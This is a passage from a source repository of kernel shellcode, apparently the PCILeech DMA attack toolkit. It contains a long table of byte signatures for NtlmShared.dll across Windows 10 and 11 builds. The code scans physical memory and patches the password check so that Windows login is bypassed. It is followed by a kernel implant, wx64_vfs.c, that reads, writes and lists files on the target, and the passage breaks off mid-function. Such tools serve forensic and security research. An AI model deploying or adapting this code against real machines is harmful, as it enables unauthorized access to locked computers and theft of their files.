},\n\t\t\t{.cbOffset = 0x638,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x638,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.0 / 2016-07-16]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x6DC,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xD3, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x6E8,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x6E8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.2791 / 2019-02-06]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.3269 / 2019-09-29]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x6EC,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC3, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x6F8,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x6F8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5291 / 2022-08-07]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x76C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x43, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x778,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x778,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.14393.5850 / 2023-03-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x77C,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x33, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x788,.cb = 6,.pb = { 0x0F, 0x85, 0x18, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x788,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.1631 / 2019-02-06]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.15063.2106 / 2019-09-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x622,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB5, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x62E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x62E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.15254.245 / 2018-01-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x612,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC5, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x61E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x61E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1268 / 2019-07-05]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.1448 / 2019-10-02]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x622,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC5, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x62E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x62E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.16299.192 / 2018-01-01]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x612,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xD5, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x61E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x61E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.1067 / 2019-10-02]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.590 / 2019-02-06]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x6A2,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x45, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x6AE,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x6AE,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17134.523 / 2019-01-01]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x692,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x55, 0x1C, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x69E,.cb = 6,.pb = { 0x0F, 0x85, 0x2E, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x69E,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.10935 / 2022-08-05]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x7CD,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x22, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x7D9,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x7D9,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.194 / 2018-12-04]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x73D,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xB2, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x749,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x749,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.316 / 2019-02-06]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.802 / 2019-10-02]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x74D,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xA2, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x759,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x759,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.17763.5122 / 2023-11-08]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x7DD,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x12, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x7E9,.cb = 6,.pb = { 0x0F, 0x84, 0x0B, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x7E9,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.1 / 2019-03-18]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.10022 / 2019-09-15]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.18362.418 / 2019-10-06]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x72F,.cb = 9,.pb = { 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xC0, 0x1B, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x73B,.cb = 6,.pb = { 0x0F, 0x84, 0x09, 0xFB, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x73B,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.1 / 2019-12-07]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x423,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0x53, 0x20, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x435,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x435,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2728 / 2023-03-09]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x4B3,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xC3, 0x1F, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x4C5,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x4C5,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.2965 / 2023-04-27]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3636 / 2023-10-20]\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.3684 / 2023-10-17]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x4C3,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xB3, 0x1F, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x4D5,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x4D5,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 10 x64 [NtlmShared.dll 10.0.19041.4474 / 2024-05-18]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x583,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xF3, 0x1E, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x595,.cb = 6,.pb = { 0x0F, 0x84, 0xBA, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x595,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.1668 / 2023-03-30]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0xA7B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xA3, 0x28, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0xA8D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0xA8D,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.20348.887 / 2022-08-04]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0xA6B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xB3, 0x28, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0xA7D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0xA7D,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.1696 / 2023-03-09]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x00B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xE3, 0x22, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x01D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x01D,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.2600 / 2023-11-08]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x01B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0xD3, 0x22, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0x02D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x02D,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.22000.778 / 2022-06-18]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0xF8B,.cb = 10,.pb = { 0x48, 0x8B, 0xCB, 0x48, 0xFF, 0x15, 0x63, 0x23, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0xF9D,.cb = 6,.pb = { 0x0F, 0x84, 0xB2, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0xF9D,.cb = 2,.pb = { 0x0F, 0x85 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2067 / 2023-07-11]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2506 / 2023-10-19]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.22621.2567 / 2023-10-14]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0xFC9,.cb = 11,.pb = { 0x48, 0x8D, 0x4B, 0x10, 0x48, 0xFF, 0x15, 0x2C, 0x23, 0x00, 0x00 } },\n\t\t\t{.cbOffset = 0xFDC,.cb = 6,.pb = { 0x0F, 0x85, 0xC4, 0xFA, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0xFDC,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1 / 2024-04-01]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1150 / 2024-07-03]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1591 / 2024-08-21]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.1882 / 2024-09-28]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.2454 / 2024-11-16]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.712 / 2024-05-16]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0xB31,.cb = 13,.pb = { 0x4D, 0x2B, 0xF5, 0x75, 0xEF, 0x84, 0xD2, 0x74, 0x0A, 0x32, 0xC0, 0xEB, 0x09 } },\n\t\t\t{.cbOffset = 0xB3A,.cb = 2,.pb = { 0x32, 0xC0 } },\n\t\t\t{.cbOffset = 0xB3A,.cb = 2,.pb = { 0xB0, 0x01 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.2894 / 2025-01-12]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3037 / 2025-01-24]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x6A1,.cb = 20,.pb = { 0x4D, 0x2B, 0xFE, 0x75, 0xEF, 0x84, 0xD2, 0x0F, 0x84, 0x42, 0xF8, 0xFF, 0xFF, 0x32, 0xC0, 0xE9, 0x3E, 0xF8, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x6AE,.cb = 2,.pb = { 0x32, 0xC0 } },\n\t\t\t{.cbOffset = 0x6AE,.cb = 2,.pb = { 0xB0, 0x01 } } }\n\t\t},\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3323 / 2025-02-21]\n\t\t// Signature for Windows 11 x64 [NtlmShared.dll 10.0.26100.3624 / 2025-03-22]\n\t\t{.chunk = {\n\t\t\t{.cbOffset = 0x6C1,.cb = 20,.pb = { 0x4D, 0x2B, 0xFE, 0x75, 0xEF, 0x84, 0xD2, 0x0F, 0x84, 0x42, 0xF8, 0xFF, 0xFF, 0x32, 0xC0, 0xE9, 0x3E, 0xF8, 0xFF, 0xFF } },\n\t\t\t{.cbOffset = 0x6CE,.cb = 2,.pb = { 0x32, 0xC0 } },\n\t\t\t{.cbOffset = 0x6CE,.cb = 2,.pb = { 0xB0, 0x01 } } }\n\t\t},\n\n\t};\n\tKERNEL_FUNCTIONS2 fnk2;\n\tPPHYSICAL_MEMORY_RANGE pMemMap, pMM;\n\tSIZE_T i, cMemMap;\n\tQWORD qwBaseAddress = 0;\n\tPVOID pvMemory;\n\tNTSTATUS nt;\n\t// 1: Intialize function table\n\tInitializeKernelFunctions2(qwAddrNtosBase, &fnk2);\n\t// 2: Retrieve physical memory map\n\tpMemMap = fnk2.MmGetPhysicalMemoryRanges();\n\tif(pMemMap == NULL) {\n\t\treturn E_FAIL;\n\t}\n\tfor(cMemMap = 0; pMemMap[cMemMap].BaseAddress || pMemMap[cMemMap].NumberOfBytes; cMemMap++);\n\t// 3: Search memory and unlock if signature is found\n\twhile(qwBaseAddress + 0x10000 <= pMemMap[cMemMap - 1].BaseAddress + pMemMap[cMemMap - 1].NumberOfBytes) {\n\t\tfor(i = 0; i < cMemMap; i++) {\n\t\t\tpMM = &pMemMap[i];\n\t\t\tif(((pMM->BaseAddress < qwBaseAddress) && (pMM->BaseAddress + pMM->NumberOfBytes > qwBaseAddress + 0x10000))) {\n\t\t\t\t// is inside range!\n\t\t\t\tpvMemory = fnk2.MmMapIoSpace(qwBaseAddress, 0x10000, 0);\n\t\t\t\tif(pvMemory) {\n\t\t\t\t\tnt = Unlock_FindAndPatch(&fnk2, pvMemory, 0x10000 / 0x1000, oSigs, NUMBER_OF_SIGNATURES);\n\t\t\t\t\tfnk2.MmUnmapIoSpace(pvMemory, 0x10000);\n\t\t\t\t\tif(NT_SUCCESS(nt)) {\n\t\t\t\t\t\t// found and patched! - exit!\n\t\t\t\t\t\tgoto cleanup;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tqwBaseAddress += 0x10000;\n\t}\n\tnt = E_FAIL;\ncleanup:\n\tfnk2.ExFreePool(pMemMap);\n\treturn nt;\n}\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tif(pk->dataIn[0] == 1) {\n\t\tpk->dataOut[0] = (QWORD)Unlock(pk->AddrKernelBase);\n\t} else {\n\t\tpk->dataOut[0] = ERROR_INVALID_PARAMETER;\n\t}\n}"
  },
  {
    "path": "pcileech_shellcode/wx64_vfs.c",
    "content": "// wx64_vfs.c : kernel code to support the PCILeech file system.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_vfs.c\n// ml64 wx64_common_a.asm /Fewx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_vfs.obj wx64_common.obj\n// shellcode64.exe -o wx64_vfs.exe\n// \n#include \"wx64_common.h\"\n\n//-----------------------------------------------------------------------------\n// Core defines and typedefs shared between kernel implants and pcileech.\n//-----------------------------------------------------------------------------\n\n#define VFS_OP_MAGIC\t\t\t\t0x79e720ad93aa130f\n#define VFS_OP_CMD_LIST_DIRECTORY\t1\n#define VFS_OP_CMD_WRITE\t\t\t2\n#define VFS_OP_CMD_READ\t\t\t\t3\n#define VFS_OP_CMD_CREATE\t\t\t4\n#define VFS_OP_CMD_DELETE\t\t\t5\n\n#define VFS_FLAGS_FILE_NORMAL\t\t0x01\n#define VFS_FLAGS_FILE_DIRECTORY\t0x02\n#define VFS_FLAGS_FILE_SYMLINK\t\t0x04\n#define VFS_FLAGS_FILE_OTHER\t\t0x08\n#define VFS_FLAGS_UNICODE\t\t\t0x10\n#define VFS_FLAGS_EXIST_FILE\t\t0x20\n#define VFS_FLAGS_TRUNCATE_ON_WRITE\t0x40\n#define VFS_FLAGS_APPEND_ON_WRITE\t0x80\n\ntypedef struct tdVFS_OPERATION {\n\tQWORD magic;\n\tQWORD op;\n\tQWORD flags;\n\tCHAR szFileName[MAX_PATH];\n\tWCHAR wszFileName[MAX_PATH];\n\tQWORD offset;\n\tQWORD cb;\n\tBYTE pb[];\n} VFS_OPERATION, *PVFS_OPERATION;\n\ntypedef struct tdVFS_RESULT_FILEINFO {\n\tQWORD flags;\n\tQWORD tAccessOpt;\n\tQWORD tModifyOpt;\n\tQWORD tCreateOpt;\n\tQWORD dbg1;\n\tQWORD dbg2;\n\tQWORD cb;\n\tWCHAR wszFileName[MAX_PATH];\n} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;\n\n//-----------------------------------------------------------------------------\n// Other required defines and typedefs.\n//-----------------------------------------------------------------------------\n\ntypedef struct _FILE_BOTH_DIR_INFORMATION {\n\tULONG\tNextEntryOffset;\n\tULONG\tFileIndex;\n\tQWORD\tCreationTime;\n\tQWORD\tLastAccessTime;\n\tQWORD\tLastWriteTime;\n\tQWORD\tChangeTime;\n\tQWORD\tEndOfFile;\n\tQWORD\tAllocationSize;\n\tULONG\tFileAttributes;\n\tULONG\tFileNameLength;\n\tULONG\tEaSize;\n\tCCHAR\tShortNameLength;\n\tWCHAR\tShortName[12];\n\tWCHAR\tFileName[1];\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\n\n#define STATUS_UNSUCCESSFUL\t\t\t\t\t\t0xC0000001\n#define OBJ_CASE_INSENSITIVE    \t\t\t\t0x00000040\n#define FILE_SYNCHRONOUS_IO_NONALERT\t\t\t0x00000020\n#define FILE_OPEN\t\t\t\t\t\t\t\t0x00000001\n#define FILE_OVERWRITE_IF\t\t\t\t\t\t0x00000005\n#define OBJ_KERNEL_HANDLE       \t\t\t\t0x00000200\n\n//-----------------------------------------------------------------------------\n// Functions below.\n//-----------------------------------------------------------------------------\n\nNTSTATUS VfsWrite(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tNTSTATUS nt;\n\tHANDLE hFile = 0;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tUNICODE_STRING _su;\n\tULONG CreateDisposition;\n\tACCESS_MASK DesiredAccess;\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tfnk->RtlInitUnicodeString(&_su, pop->wszFileName);\n\tInitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tDesiredAccess = (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? FILE_APPEND_DATA : GENERIC_WRITE;\n\tCreateDisposition = ((pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) && (0 == pop->offset)) ? FILE_OVERWRITE_IF : FILE_OPEN;\n\tnt = fnk->ZwCreateFile(&hFile, DesiredAccess, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, 0, CreateDisposition, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);\n\tif(nt) { goto cleanup; }\n\tnt = fnk->ZwWriteFile(hFile, NULL, NULL, NULL, &_io, pop->pb, (DWORD)pop->cb, (PLARGE_INTEGER)&pop->offset, 0);\ncleanup:\n\tif(hFile) { fnk->ZwClose(hFile); }\n\treturn nt;\n}\n\nNTSTATUS VfsRead(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)\n{\n\tNTSTATUS nt;\n\tHANDLE hFile = 0;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tUNICODE_STRING _su;\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tfnk->RtlInitUnicodeString(&_su, pop->wszFileName);\n\tInitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tnt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);\n\tif(nt) { goto cleanup; }\n\tnt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pop->cb, &pop->offset, 0);\n\tif(nt) { goto cleanup; }\n\tpk->dataOutExtraLength = (QWORD)_io.Information;\ncleanup:\n\tif(hFile) { fnk->ZwClose(hFile); }\n\treturn nt;\n}\n\nNTSTATUS VfsList(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PVFS_OPERATION pop)\n{\n\tNTSTATUS nt = 0;\n\tHANDLE hFileFind = 0;\n\tUNICODE_STRING _su;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tPVFS_RESULT_FILEINFO pfi;\n\tPFILE_BOTH_DIR_INFORMATION pdi;\n\tQWORD cfi = 0, cfiMax;\n\tBOOLEAN isRestartScan = TRUE;\n\tif(pk->dataOutExtraLengthMax < 0x00200000) { return STATUS_FAIL_OUTOFMEMORY; }\n\tpfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset);\n\tcfiMax = (pk->dataOutExtraLengthMax - 0x00100000) / sizeof(VFS_RESULT_FILEINFO);\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlInitUnicodeString(&_su, pop->wszFileName);\n\tInitializeObjectAttributes(&_oa, &_su, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tnt = fnk->ZwOpenFile(&hFileFind, FILE_LIST_DIRECTORY | SYNCHRONIZE, &_oa, &_io, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | 1 /*FILE_DIRECTORY_FILE*/ | 0x4000 /*FILE_OPEN_FOR_BACKUP_INTENT*/);\n\tif(nt) { goto cleanup; }\n\twhile(TRUE) {\n\t\tpdi = (PFILE_BOTH_DIR_INFORMATION)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLengthMax - 0x00100000);\n\t\tnt = fnk->ZwQueryDirectoryFile(hFileFind, NULL, NULL, NULL, &_io, pdi, 0x00100000, 3 /*FileBothDirectoryInformation*/, FALSE, NULL, isRestartScan);\n\t\tisRestartScan = FALSE;\n\t\tif(nt || (0 == _io.Information)) { goto cleanup; }\n\t\twhile(TRUE) {\n\t\t\tfnk->RtlZeroMemory(pfi, sizeof(VFS_RESULT_FILEINFO));\n\t\t\tpfi->cb = pdi->EndOfFile;\n\t\t\tpfi->tAccessOpt = pdi->LastAccessTime;\n\t\t\tpfi->tCreateOpt = pdi->CreationTime;\n\t\t\tpfi->tModifyOpt = pdi->ChangeTime;\n\t\t\tpfi->flags |= VFS_FLAGS_UNICODE;\n\t\t\tpfi->flags |= (pdi->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? VFS_FLAGS_FILE_DIRECTORY : VFS_FLAGS_FILE_NORMAL;\n\t\t\tfnk->RtlCopyMemory(pfi->wszFileName, pdi->FileName, min(MAX_PATH - 1, pdi->FileNameLength));\n\t\t\tpfi++;\n\t\t\tcfi++;\n\t\t\tif(cfi >= cfiMax) { goto cleanup; }\n\t\t\tif(0 == pdi->NextEntryOffset) { break; }\n\t\t\tpdi = 